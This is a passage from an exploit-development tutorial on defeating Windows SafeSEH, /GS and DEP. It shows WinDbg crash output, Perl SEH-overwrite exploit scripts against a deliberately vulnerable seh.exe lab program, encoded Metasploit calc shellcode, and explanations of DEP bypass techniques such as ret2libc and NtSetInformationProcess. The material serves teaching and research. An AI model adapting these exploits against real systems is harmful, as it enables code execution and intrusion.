padding-right: 5px; background-color: #f0f0f0\">Executable search path is:\nModLoad: 00400000 00406000   seh.exe\nModLoad: 7c800000 7c8c2000   ntdll.dll\nModLoad: 77e40000 77f42000   C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\kernel32.dll\nModLoad: 78520000 785c3000   C:\\WINDOWS\\WinSxS\\x86_Microsoft.VC90.CRT_1...dll\n(a94.c34): Break instruction exception - code 80000003 (first chance)\neax=78600000 ebx=7ffdb000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38\neip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!DbgBreakPoint:\n7c81a3e1 cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:000&gt; g\n(a94.c34): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012fd41 ebx=00000000 ecx=0012fd41 edx=00130000 esi=00000001 edi=004033a8\neip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206\nseh!GetInput+0xcb:\n004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41\n\n0:000&gt; <strong><span style=\"color: #ff0000\">!exchain<\/span><\/strong>\n0012fee0: <strong><span style=\"color: #ff0000\">00270b0b<\/span><\/strong>\nInvalid exception stack at cccccccc\n\n0:000&gt; g\n(a94.c34): <strong><span style=\"color: #ff0000\">Break instruction exception - code 80000003<\/span><\/strong> (first chance)\neax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000\neip=0012fee0 esp=0012f8e8 ebp=0012f90c iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\n0012fee0 cc              <span style=\"color: #0000ff\">int<\/span>     3\n\n0:000&gt; <strong><span style=\"color: #ff0000\">d eip<\/span><\/strong>\n0012fee0  cc cc cc cc 0b 0b 27 00-00 00 00 00 7c ff 12 00  ......'.....|...\n0012fef0  79 11 40 00 f1 29 33 00-fc fe 12 00 <strong><span style=\"color: #ff0000\">41 41 41 41<\/span><\/strong>  y.@..)3.....<strong><span style=\"color: #ff0000\">AAAA<\/span><\/strong>\n0012ff00  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff10  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff20  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff30  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff40  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff50  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0:000&gt; d\n0012ff60  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff70  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff80  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ff90  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ffa0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ffb0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ffc0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA\n0012ffd0  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA<\/pre>\n<p>The new (controlled) SEH chain indicates that we have properly overwritten nseh and seh, and after passing the exception to the application, the jump was made to our 4 byte jumpcode at nseh. (4 breakpoints in our scenario).<\/p>\n<p>When stepping through the instructions after the exception occurred (\u2018t\u2019 command in windbg), we can see that the validation routines were executed (by ntdll), the address was determined to be valid (call ntdll!RtlIsValidHandler) and finally the handler was executed, which brings us back to the nseh (4 breakpoints) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 267px; border-right: #cecece 1px solid; width: 669px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">eax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000\neip=7c828770 esp=0012f8f0 ebp=0012f90c iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nntdll!ExecuteHandler2+0x24:\n7c828770 ffd1            <strong><span style=\"color: #ff0000\">call    ecx {00270b0b}<\/span><\/strong>\n0:000&gt;\neax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000\neip=<strong><span style=\"color: #ff0000\">00270b0b<\/span><\/strong> esp=0012f8ec ebp=<strong><span style=\"color: #ff0000\">0012f90c<\/span><\/strong> iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\n00270b0b ff5530          <strong><span style=\"color: #ff0000\">call    dword ptr [ebp+30h]<\/span><\/strong>  ss:0023:0012f93c=0012fee0\n0:000&gt;\neax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000\neip=0012fee0 esp=0012f8e8 ebp=0012f90c iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\n<strong><span style=\"color: #ff0000\">0012fee0 cc              <span style=\"color: #0000ff\">int<\/span>     3<\/span><\/strong><\/pre>\n<p>When looking at eip (see previous windbg output), we can see that our \u201cjunk\u201d buffer can be easily referenced, despite the fact that we could not overwrite more memory after overwriting seh (because it contains a null byte). So we still may be able to get a working exploit. The shellcode space will be more or less limited (500 bytes or so)\u2026 but it should work.<\/p>\n<p>So if we replace the A\u2019s with nops+shellcode+junk, and make a jump into the nops, we should be able to take control. Sample exploit (with breakpoints as shellcode) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 165px; border-right: #cecece 1px solid; width: 748px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">my<\/span> $size=508;\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 24;\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\xcc\\xcc<\/span>&quot;;\n$junk=$nops.$shellcode;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x ($size-<span style=\"color: #0000ff\">length<\/span>($nops.$shellcode));\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\xeb\\x1a\\x90\\x90<\/span>&quot;;  #nseh, jump 26 bytes\n$junk=$junk.<span style=\"color: #0000ff\">pack<\/span>('V',0x00270b0b);\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Payload length : <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($junk).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">\\&quot;C:\\\\Program Files\\\\Debugging Tools for Windows (x86)\\\\windbg\\&quot; seh \\&quot;$junk\\&quot;\\r\\n<\/span>&quot;);<\/pre>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 687px; border-right: #cecece 1px solid; width: 703px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">Symbol search path is: SRV*C:\\windbg symbols*http:<span style=\"color: #008000\">\/\/msdl.microsoft.com\/download\/symbols<\/span>\nExecutable search path is:\nModLoad: 00400000 00406000   seh.exe\nModLoad: 7c800000 7c8c2000   ntdll.dll\nModLoad: 77e40000 77f42000   C:\\WINDOWS\\<span style=\"color: #0000ff\">system<\/span>32\\kernel32.dll\nModLoad: 78520000 785c3000   C:\\WINDOWS\\WinSxS\\x86_...4148_x-ww_D495AC4E\\MSVCR90.dll\n(6f8.9ac): Break instruction exception - code 80000003 (first chance)\neax=78600000 ebx=7ffd9000 ecx=00000005 edx=00000020 esi=7c8897f4 edi=00151f38\neip=7c81a3e1 esp=0012fb70 ebp=0012fcb4 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202\nntdll!DbgBreakPoint:\n7c81a3e1 cc              <span style=\"color: #0000ff\">int<\/span>     3\n0:000&gt; g\n(6f8.9ac): Access violation - code c0000005 (first chance)\nFirst chance exceptions are reported before any exception handling.\nThis exception may be expected and handled.\neax=0012fd90 ebx=00000000 ecx=0012fd90 edx=00130000 esi=00000001 edi=004033a8\neip=004010cb esp=0012fcb4 ebp=0012feec iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010286\nseh!GetInput+0xcb:\n004010cb 8802            mov     byte ptr [edx],al          ds:0023:00130000=41\n0:000&gt; !exchain\n0012fee0: 00270b0b\nInvalid exception stack at 90901aeb\n0:000&gt; g\n<strong><span style=\"color: #ff0000\">(6f8.9ac): Break instruction exception - code 80000003 (first chance)\neax=00000000 ebx=00000000 ecx=00270b0b edx=7c828786 esi=00000000 edi=00000000\neip=0012ff14 esp=0012f8e8 ebp=0012f90c iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\n0012ff14 cc              <span style=\"color: #0000ff\">int<\/span>     3<\/span><\/strong>\n0:000&gt; d eip\n0012ff14  <strong><span style=\"color: #ff0000\">cc cc<\/span><\/strong> 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012ff24  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012ff34  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012ff44  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012ff54  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012ff64  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012ff74  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................\n0012ff84  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................<\/pre>\n<p>pwned ! (that is, if you can find a way around the shellcode corruption when jumping forward :-()<\/p>\n<p>Well, what the heck, let\u2019s use 2 backward jumps to overcome the corruption and make this one work :<\/p>\n<p>- one jump (back) at nseh (7 bytes), which will put eip at the end of the buffer before hitting the SE structure,<\/p>\n<p>- execute a jump back of 400 bytes (-400 (decimal) = fffffe70 hex)). The number of nops before putting the shellcode was set to 25 (because the shellcode will not properly run otherwise)<\/p>\n<p>- we\u2019ll put the shellcode in the payload before the SE structure was overwritten<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 483px; border-right: #cecece 1px solid; width: 691px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">my<\/span> $size=508;  #before SE structure is hit\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 25; #25 needed to align shellcode\n# windows\/<span style=\"color: #0000ff\">exec<\/span> - 144 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/shikata_ga_nai\n# EXITFUNC=seh, CMD=calc\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\xd9\\xcb\\x31\\xc9\\xbf\\x46\\xb7\\x8b\\x7c\\xd9\\x74\\x24\\xf4\\xb1<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x1e\\x5b\\x31\\x7b\\x18\\x03\\x7b\\x18\\x83\\xc3\\x42\\x55\\x7e\\x80<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\xa2\\xdd\\x81\\x79\\x32\\x55\\xc4\\x45\\xb9\\x15\\xc2\\xcd\\xbc\\x0a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x62\\xa6\\x5f\\x07\\x5d\\xd7\\xb4\\xf1\\x16\\xe3\\xc1\\x03\\xc7<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x3a\\x16\\x9a\\xbb\\xb8\\x56\\xe9\\xc4\\x01\\x9c\\x1f\\xca\\x43\\xca<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\xd4\\xf7\\x17\\x29\\x11\\x7d\\x72\\xba\\x46\\x59\\x7d\\x56\\x1e\\x2a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x71\\xe3\\x54\\x73\\x95\\xf2\\x81\\x07\\xb9\\x7f\\x54\\xf3\\x48\\x23<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x73\\x07\\x89\\x83\\x4a\\xf1\\x6d\\x6a\\xc9\\x76\\x2b\\xa2\\x9a\\xc9<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\xbf\\x49\\xec\\xd5\\x12\\xc6\\x65\\xee\\xe5\\x21\\xf6\\x2e\\x9f\\x81<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x91\\x5e\\xd5\\x26\\x3d\\xf7\\x71\\xd8\\x4b\\x09\\xd6\\xda\\xab\\x75<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\xb9\\x48\\x57\\x7a<\/span>&quot;;\n\n$junk=$nops.$shellcode;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x ($size-<span style=\"color: #0000ff\">length<\/span>($nops.$shellcode)-5); #5 bytes = length of jmpcode\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\xe9\\x70\\xfe\\xff\\xff<\/span>&quot;; #jump back 400 bytes\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\xeb\\xf9\\xff\\xff<\/span>&quot;;  #jump back 7 bytes (nseh)\n$junk=$junk.<span style=\"color: #0000ff\">pack<\/span>('V',0x00270b0b);  #seh\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Payload length : <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($junk).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">seh \\&quot;$junk\\&quot;\\r\\n<\/span>&quot;);<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image44.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb44.png\" width=\"441\" height=\"336\" \/><\/a><\/p>\n<p>Re-compile the executable with \/GS and \/Safeseh (so both protections at the same time) and try the exploit again.<\/p>\n<p>You\u2019ll notice that the exploit fails, but that\u2019s only because the offset to overwriting the SE structure is different (because of the security_cookie stuff that goes on). After changing the offset and moving the shellcode a little bit around, this fine piece of code will do the trick again (Windows 2003 Server R2 SP2 Standard, English, application compiled with \/GS and \/Safeseh, no DEP for seh.exe)<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; height: 454px; border-right: #cecece 1px solid; width: 668px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\"><span style=\"color: #0000ff\">my<\/span> $size=516; #new offset to deal with GS\n<span style=\"color: #0000ff\">my<\/span> $nops = &quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x 200;  #moved shellcode a little bit\n# windows\/<span style=\"color: #0000ff\">exec<\/span> - 144 bytes\n# http:<span style=\"color: #008000\">\/\/www.metasploit.com<\/span>\n# Encoder: x86\/shikata_ga_nai\n# EXITFUNC=seh, CMD=calc\n<span style=\"color: #0000ff\">my<\/span> $shellcode=&quot;<span style=\"color: #8b0000\">\\xd9\\xcb\\x31\\xc9\\xbf\\x46\\xb7\\x8b\\x7c\\xd9\\x74\\x24\\xf4\\xb1<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x1e\\x5b\\x31\\x7b\\x18\\x03\\x7b\\x18\\x83\\xc3\\x42\\x55\\x7e\\x80<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\xa2\\xdd\\x81\\x79\\x32\\x55\\xc4\\x45\\xb9\\x15\\xc2\\xcd\\xbc\\x0a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x47\\x62\\xa6\\x5f\\x07\\x5d\\xd7\\xb4\\xf1\\x16\\xe3\\xc1\\x03\\xc7<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x3a\\x16\\x9a\\xbb\\xb8\\x56\\xe9\\xc4\\x01\\x9c\\x1f\\xca\\x43\\xca<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\xd4\\xf7\\x17\\x29\\x11\\x7d\\x72\\xba\\x46\\x59\\x7d\\x56\\x1e\\x2a<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x71\\xe3\\x54\\x73\\x95\\xf2\\x81\\x07\\xb9\\x7f\\x54\\xf3\\x48\\x23<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x73\\x07\\x89\\x83\\x4a\\xf1\\x6d\\x6a\\xc9\\x76\\x2b\\xa2\\x9a\\xc9<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\xbf\\x49\\xec\\xd5\\x12\\xc6\\x65\\xee\\xe5\\x21\\xf6\\x2e\\x9f\\x81<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\x91\\x5e\\xd5\\x26\\x3d\\xf7\\x71\\xd8\\x4b\\x09\\xd6\\xda\\xab\\x75<\/span>&quot; .\n&quot;<span style=\"color: #8b0000\">\\xb9\\x48\\x57\\x7a<\/span>&quot;;\n\n$junk=$nops.$shellcode;\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\x90<\/span>&quot; x ($size-<span style=\"color: #0000ff\">length<\/span>($nops.$shellcode)-5);\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\xe9\\x70\\xfe\\xff\\xff<\/span>&quot;; #jump back 400 bytes\n$junk=$junk.&quot;<span style=\"color: #8b0000\">\\xeb\\xf9\\xff\\xff<\/span>&quot;;  #jump back 7 bytes\n$junk=$junk.<span style=\"color: #0000ff\">pack<\/span>('V',0x00270b0b);\n\n<span style=\"color: #0000ff\">print<\/span> &quot;<span style=\"color: #8b0000\">Payload length : <\/span>&quot; . <span style=\"color: #0000ff\">length<\/span>($junk).&quot;<span style=\"color: #8b0000\">\\n<\/span>&quot;;\n<span style=\"color: #0000ff\">system<\/span>(&quot;<span style=\"color: #8b0000\">seh \\&quot;$junk\\&quot;\\r\\n<\/span>&quot;);<\/pre>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image45.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb45.png\" width=\"292\" height=\"174\" \/><\/a><\/p>\n<h3>SEHOP<\/h3>\n<p>A document explaining a technique to bypass SEHOP was recently released and can be found at <a href=\"http:\/\/www.sysdream.com\/articles\/sehop_en.pdf\">http:\/\/www.sysdream.com\/articles\/sehop_en.pdf<\/a><\/p>\n<h3>DEP<\/h3>\n<p>In all the examples we have used so far, we have put our shellcode somewhere on the stack and then attempted to force the application to jump to our shellcode and execute it. Hardware <a href=\"http:\/\/en.wikipedia.org\/wiki\/Data_Execution_Prevention\" target=\"_blank\" rel=\"noopener\">DEP<\/a> (or Data Execution Prevention) aims are preventing just that\u2026 It enforces non-executable pages (basically marks the stack\/part of the stack as non-executable), thus preventing the execution of arbitrary shellcode.<\/p>\n<p>Wikipedia states <em>\u201cDEP runs in two modes: hardware-enforced DEP for CPUs that can mark memory pages as nonexecutable (NX bit), and software-enforced DEP with a limited prevention for CPUs that do not have hardware support. Software-enforced DEP does not protect from execution of code in data pages, but instead from another type of attack (SEH overwrite).<\/em><\/p>\n<p><em>DEP was introduced in Windows XP Service Pack 2 and is included in Windows XP Tablet PC Edition 2005, Windows Server 2003 Service Pack 1 and later, Windows Vista, and Windows Server 2008, and all newer versions of Windows.\u201c<\/em><\/p>\n<p>In other words : Software DEP = Safeseh ! Software DEP has nothing to do with the <a href=\"http:\/\/en.wikipedia.org\/wiki\/NX_bit\" target=\"_blank\" rel=\"noopener\">NX<\/a>\/XD bit at all ! (You can read more about the behaviour of DEP in <a href=\"https:\/\/web.archive.org\/web\/20150312002358\/http:\/\/support.microsoft.com:80\/kb\/875352\" target=\"_blank\" rel=\"noopener\">this Microsoft KB article<\/a> and at <a href=\"http:\/\/www.uninformed.org\/?v=2&amp;a=4\" target=\"_blank\" rel=\"noopener\">Uninformed<\/a>).<\/p>\n<p>When the processor\/system has NX\/XD support\/enabled, then Windows DEP = hardware DEP. If the processor does not support it, you don\u2019t get DEP, but only safeseh (when enabled).<\/p>\n<p>The Data Execution Prevention tabsheet in Windows will indicate whether hardware support is enabled or not.<\/p>\n<p>When the processor\/system does not have NX\/XD support\/enabled, then Windows DEP = software DEP. The Data Execution Prevention tabsheet in Windows will indicate this :<\/p>\n<p><a href=\"\/wp-content\/uploads\/2009\/09\/image46.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" title=\"image\" style=\"border-left-width: 0px; border-right-width: 0px; border-bottom-width: 0px; display: inline; border-top-width: 0px\" border=\"0\" alt=\"image\" src=\"\/wp-content\/uploads\/2009\/09\/image_thumb46.png\" width=\"390\" height=\"86\" \/><\/a><\/p>\n<p>2 big processor vendors have implemented their own non-exec page protection (hardware DEP) :<\/p>\n<p>- The no-execute page-protection (NX) processor was developed by AMD.<\/p>\n<p>- The Execute Disable Bit (XD) feature was developed by Intel.It is important to understand that, depending on the OS version\/SP level, the behaviour of software DEP can be different. Where software DEP was enabled only for core Windows processes in earlier versions of Windows, and client versions of the operating system (and can support DEP for applications that are enabled for protection or have a flag set), this setting has been reversed in later version of the Windows server OS, where everything is DEP protected, except for the processes that are manually added to the exclusion list. It\u2019s quite normal that client OS versions use the OptIn method, because they need to be able to run all sorts of software packages which may or may be DEP compatible. On servers, it\u2019s more safe to assume that applications will get properly tested before being deployed to a server (and if things break, they can still be put in the exclusion list).The default DEP setting on Windows 2003 server SP1 is OptOut. This means that, by default, all processes are protected by DEP, except the ones that are put in the exception list.The default DEP setting on Windows XP SP2 and Vista is OptIn (so only system processes and applications are protected).<\/p>\n<p>Next to optin and optout, there are 2 more modes (boot options) that affect DEP :<\/p>\n<p>- <strong><u>AlwaysOn <\/u><\/strong>: indicates that all processes are protected by DEP, no exceptions). In this mode, DEP cannot be turned off at runtime.:<\/p>\n<p>- <strong><u>AlwaysOff <\/u><\/strong>: indicates that no processes are protected by DEP. In this mode, DEP cannot be turned on at runtime.On 64bit Windows systems, DEP is always turned on and cannot be disabled. Keep in mind that Internet Explorer is still a 32bit application (and is subject to the DEP modes described above.)<\/p>\n<h3>NX\/XD bit<\/h3>\n<p>Hardware-enforced DEP enables the NX bit on compatible CPUs, through the automatic use of PAE kernel in 32-bit Windows and the native support on 64-bit kernels. Windows Vista DEP works by marking certain parts of memory as being intended to hold only data, which the NX or XD bit enabled processor then understands as non-executable. This helps prevent buffer overflow attacks from succeeding. In Windows Vista, the DEP status for a process, that is, whether DEP is enabled or disabled for a particular process can be viewed on the Processes tab in the Windows Task Manager.<\/p>\n<p>The concept of NX protection is pretty simple. If the hardware supports NX, if the BIOS is configured to enable NX, and the OS supports it, at least the system services will be protected. Depending on the DEP settings, apps could be protected too. Compilers such as Visual Studio C++ offer a link flag (\/NXCOMPAT) that will enable applications for DEP protection.<\/p>\n<p>When running the exploits from previous chapter against a Windows 2003 Server (R2, SP2, standard edition) that has NX (Hardware DEP) enabled, or NX disabled and DEP set to OptOut, these exploits stop working (because our 0x00270b0b\/0x00280b0b address failed the \u2018check if this is a valid handler\u2019 test, which is what software DEP does, or just fails because it attempts to execute code from the stack (which is what NX\/XD HW Dep attempts to prevent) . If you add our little seh.exe vulnerable application to the DEP exclusion list, the exploit works again (after we change the call dword ptr[ebp+30h] address from 0x00270b0b to 0x00280b0b). So DEP works fine.<\/p>\n<h3>Bypassing (HW) DEP<\/h3>\n<p>As of today, there are a couple of well known techniques to bypass DEP :<\/p>\n<h4>ret2libc (no shellcode)<\/h4>\n<p>This technique is based on the concept that, instead of performing a direct jump to your shellcode (which will be blocked by DEP), a call to an existing library\/function is made. As a result, the code in that library\/function is executed (optionally taking data from the stack as argument) and used as your \u2018malicious code\u2019. You basically overwrite EIP with a call to an existing piece of code in a library, which triggers for example a \u201csystem\u201d command \u201ccmd\u201d. So while the NX\/XD stack and heap prevent arbitraty code execution, the library code itself is still executable and can be abused. (Basically, you return into a library function with a fake call frame). It\u2019s clear that this technique somewhat limits the type of code that you want to execute, but if you can live with this, it will work. You can read more about this technique at <a href=\"http:\/\/www.infosecwriters.com\/text_resources\/pdf\/return-to-libc.pdf\">http:\/\/www.infosecwriters.com\/text_resources\/pdf\/return-to-libc.pdf<\/a> and at <a href=\"http:\/\/securitytube.net\/Buffer-Overflow-Primer-Part-8-(Return-to-Libc-Theory)-video.aspx\">http:\/\/securitytube.net\/Buffer-Overflow-Primer-Part-8-(Return-to-Libc-Theory)-video.aspx<\/a><\/p>\n<h4>ZwProtectVirtualMemory<\/h4>\n<p>This is another technique that can be used to bypass hardware DEP. Read more at <a title=\"http:\/\/woct-blog.blogspot.com\/2005\/01\/dep-evasion-technique.html\" href=\"http:\/\/woct-blog.blogspot.com\/2005\/01\/dep-evasion-technique.html\">http:\/\/woct-blog.blogspot.com\/2005\/01\/dep-evasion-technique.html<\/a>. This technique is based on ret2libc, in essence it chains multiple ret2libc functions together in order to redefine parts of memory as executable. In this scenario, the stack is set up in such a way that, when a function call returns, it calls the VirtualProtect function. One of the parameters that is passed on to this function is the return address. If you set this return address to be for example a jmp esp, and you have your shellcode sitting at ESP when the VirtualProtect function returns, you\u2019ll have a working exploit. Other parameters are the address of the shellcode (or memory location that needs to be set executable (the stack for example)), the size of the shellcode, etc\u2026 Unfortunately, returning into VirtualProtect requires you to be able to use null bytes (which can be a bummer if you are working with string based buffers\/ascii payload). I won\u2019t further discuss this technique in this document.<\/p>\n<h4>Disable DEP for the process (NtSetInformationProcess)<\/h4>\n<p>Because DEP can be put in different modes (optin, optout, etc), the OS (ntdll) needs to be able to turn off DEP on a per process basis, at runtime. So there must be some code, a handler\/api, that will determine whether NX must be enabled or not, and optionally turn off NX\/XD, if required. If a hacker can take advantage of this ntdll API, NX\/Hardware DEP protection could be bypassed.<\/p>\n<p>The DEP settings for a process are stored in the Flags field in the kernel (KPROCESS structure). This value can be queried and changed with NtQueryInformationProcess and NtSetInformationProcess, with information class ProcessExecuteFlags (0x22), or with a kernel debugger.<\/p>\n<p>Enable DEP and Run seh.exe through a debugger. The KPROCESS structure looks like this (I\u2019ve omitted all non-relevant pieces) :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; dt nt!_KPROCESS -r\nntdll!_KPROCESS\n\n. . .\n\n   +0x06b Flags            : _KEXECUTE_OPTIONS\n      +0x000 ExecuteDisable   : Pos 0, 1 Bit\n      +0x000 ExecuteEnable    : Pos 1, 1 Bit\n      +0x000 DisableThunkEmulation : Pos 2, 1 Bit\n      +0x000 Permanent        : Pos 3, 1 Bit\n      +0x000 ExecuteDispatchEnable : Pos 4, 1 Bit\n      +0x000 ImageDispatchEnable : Pos 5, 1 Bit\n      +0x000 Spare            : Pos 6, 2 Bits<\/pre>\n<p>The _KPROCESS structure for the seh.exe process (starts at 0x00400000) contains these values :<\/p>\n<pre style=\"overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; width: 650px; border-bottom: #cecece 1px solid; padding-bottom: 5px; padding-top: 5px; padding-left: 5px; min-height: 40px; border-left: #cecece 1px solid; padding-right: 5px; background-color: #f0f0f0\">0:000&gt; dt nt!_KPROCESS 00400000 -r\nntdll!_KPROCESS\n   +0x000 Header           : _DISPATCHER_HEADER\n\n. . .\n\n   +0x06b Flags            : _KEXECUTE_OPTIONS\n      +0x000 ExecuteDisable   : 0y1\n      +0x000 ExecuteEnable    : 0y0\n      +0x000 DisableThunkEmulation : 